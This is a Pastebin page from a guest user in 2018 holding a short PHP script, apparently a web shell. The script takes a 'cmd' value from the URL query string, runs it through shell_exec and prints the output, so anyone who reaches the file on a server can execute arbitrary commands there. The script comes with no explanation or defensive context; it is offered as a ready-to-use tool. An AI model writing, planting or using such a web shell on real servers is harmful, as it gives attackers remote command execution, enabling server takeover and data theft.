Advertisement
Guest User

Untitled

a guest
Aug 16th, 2018
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.17 KB | None | 0 0
  1. <?php
  2.  
  3. $cmd=$_GET['cmd'];
  4.  
  5. echo "Command: " . $cmd;
  6.  
  7. if ($cmd != "")
  8. {
  9. $output = shell_exec($cmd);
  10. echo "<pre>$output</pre>";
  11. }
  12. else
  13. {
  14. echo "no command";
  15. }
  16. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement